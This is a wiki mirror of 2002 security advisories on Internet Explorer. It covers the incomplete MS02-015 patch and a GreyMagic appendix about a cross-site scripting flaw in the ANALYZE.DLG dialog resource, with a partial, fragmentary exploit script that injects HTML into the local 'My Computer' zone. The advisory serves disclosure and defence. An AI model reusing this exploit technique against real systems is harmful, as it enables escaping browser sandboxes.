Gudinna Wiki VisaÄndraBifogaVersionerUppdateratSökKarta

IE allows universal Cross Site Scripting

Note: these two exploits does not seem to work from this wiki since the wiki can always display a "valid" invalid page.. try the exploits from their orginal pages.

Original URL

Examples for TL#002

Return to bulletin

Straight to exploit


The MS02-015 patch by Microsoft seemed to fix the Codebase Localpath Command Execution vulnerability. It sure seemed like none of the examples provided by the security community worked anymore.
However, testing these examples from locally residing HTML files proved that Microsoft had merely removed symptoms instead of fixing the problem.
How did MS02-015 fix the problem?
Simple, it disallowed the codebase file execution ability from non-local zones (HTTP://).
Why is this bad?
Even when you are running HTML files from your local harddrive, the pages are still sandboxed. Trying to automate ActiveX components that can tamper with the filesystem (Scripting.FileSystemObject) or execute programs (WScript.Shell) is forbidden for HTML pages - in any default zone setting. Only HTML Applications are allowed this level of access, as they are by definition unsafe HTML pages that require the users explicit consent to run.
The mere fact that the Codebase command execution still works locally proves that it has escaped that sandbox model.
What should be done?
The codebase property references the file in which a COM object resides. Unconditionally executing that file is bad and should simply be disabled.


Pick file:


GM#001-AX Appendix to "IE allows universal Cross Site Scripting".
Faulty MS02-015 patch:
Codebase Localpath
Introduction to HTML Applications (HTAs):
Unpatched IE vulnerabilities:


16 April: Released.
16 April: Added link to GM#001-AX Appendix to "IE allows universal Cross Site Scripting", detailing how IE5+ is also exploitable to a variation of this vulnerability.

Orginal URL

Appendix to "IE allows universal Cross Site Scripting"

GreyMagic Security Advisory Appendix GM#001-AX

By GreyMagic Software, Israel.
16 Apr 2002.

Topic: Appendix to "IE allows universal Cross Site Scripting".


Thor Larholm has discovered a vulnerability in the implementation of dialogs in Internet Explorer.

However, his demonstration is confined to IE6 because the resource he found to be exploitable first appeared in IE6 (privacy policy).


We have found an exploitable resource that was shipped as early as IE5.

"shdoclc.dll" also contains an "ANALYZE.DLG" resource, which is not as easy to exploit as the policy error files in IE6, but a bit of manipulation gets us the same results.

"ANALYZE.DLG" seemed to be programmed with surprising care, using insertAdjacentText where "unsafe" content may appear instead of innerHTML or insertAdjacentHTML.

However, there is one place where the programmer didn't take enough caution, line 187 contains (comments added to explain the code):

// Expected to return an array of <link> elements.
// theDocument variable used in this line is the document property of the
// argument sent to the dialog, an expected window object.
links = theDocument.all.tags("link");

// Sends the array for inspection by another function
retVal = checkLinkReadyStateComplete(links, reportLocation);

And inside the function checkLinkReadyStateComplete:

if (objects == null) 
 return retVal;
for (i=0; i < objects.length; i++) {
 element = objects(i);
 if (element.rel.toLowerCase() == "stylesheet"
  || element.rel.toLowerCase() == "alternate stylesheet")
  if (element.readyState != "complete" && element.readyState != 4) {
  reportLocation.insertAdjacentHTML("BeforeEnd", L_StyleSheetNotInstalled_Text + element.href + "<BR><hr>");
  retVal = true;

The problem is, of course, in line 205, a dangerous concatenation inside a call to insertAdjacentHTML.


<script language="jscript">
// HTML to be injected (will run in the "My Computer" zone)
var sHTML="<b>We're in!</b>";

// Object to return from tags("link"), must be a function because they use
// objects(i) instead of objects[i], VB style collection access.
function oExploit(iSec) {
    return {
        // Satisfy line 201

        // Satisfy line 204

        // Exploit line 205

// A length property so it will enter the loop

// A fake window object, so no errors will be raised during the process,
// the custom "tags" method will return an empty array for any element
// other than our target (<link>), in which case it will return the oExploit
// object above.
var oSecurity={
            tags:function (sTag) {
                return sTag=="link" ? oExploit : [];

// Run exploit, getFile.asp redirects to res://shdoclc.dll/analyze.dlg
// and oSecurity (fake window) is sent as the dialog argument.

Tested on:

IE5sp2 NT4 sp6a, all patches.
IE5.5sp2 NT4 sp6a, all patches.
IE6sp1 Win2000 sp2, all patches.

Demonstration: Notes:

IE5 acts very strangely with this exploit, it works SOMETIMES, a few reloads usually get it to run properly. It seems to have a moral issue with redirecting to res:// files.

IE5.5 and IE6 both run it smoothly.


Please mail any questions or comments to

Copyright © 2002 GreyMagic Software.
Powered by IDNS.

Referens till aktuell sida

Frivillig gåva till stöd för driften av Gudinna Wiki :